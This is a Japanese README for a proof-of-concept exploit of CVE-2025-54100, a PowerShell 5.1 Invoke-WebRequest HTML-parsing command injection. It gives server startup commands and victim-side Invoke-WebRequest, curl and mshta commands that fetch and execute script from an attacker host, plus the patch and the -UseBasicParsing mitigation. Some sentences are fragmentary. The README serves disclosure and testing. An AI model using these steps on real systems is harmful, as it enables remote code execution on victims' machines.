
CVE-2025-54100(CVSS 7.8 High)は、Windows PowerShell 5.1のInvoke-WebRequestコマンドレットにおけるコマンドインジェクションの脆弱性です。これは、Web応答の自動解析中に特殊要素の不適切な無効化によって発生します。
CVE-2025-54100が悪意のあるHTML解析を介してWindows PowerShell 5.1でリモートコード実行(RCE)を引き起こす方法を示す簡潔な概念実証(PoC)です。
-UseBasicParsingを使用しない場合のInvoke-WebRequestにおけるコマンドインジェクションActiveXObject)の実行が可能になる。CVE-2025-54100.py内のFastAPIサーバーが細工されたHTMLペイロードを提供する。WScript.Shell / Shell.Application ActiveXオブジェクトのインスタンス化を試みる。calc.exeを起動してRCEを示す。python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
PoC HTTPサーバーを起動:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
-UseBasicParsingなしで脆弱なWindowsマシン上で以下を実行:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl エイリアス
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888
サーバーに設定したものと同じポートを使用してください。脆弱な場合、埋め込まれたスクリプトがMSHTMLパーサーを介して実行されます。一部のAV製品は、解析の問題が存在する場合でもこの動作をブロックする可能性があります。
calc.exeが起動しない場合:
-UseBasicParsingなしでInvoke-WebRequestを再実行する。これは実行ベクトルを示しています。実際のペイロードでは、デフォルトの制限を回避するために難読化や追加のバイパスが使用される可能性があります。

Microsoftは2025年12月にこの問題にパッチを適用しました:
-UseBasicParsingを使用**する:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
[!WARNING] 教育および許可されたテスト専用です。責任を持って使用し、該当するすべての法律を遵守してください。著者は誤用または損害について一切責任を負いません。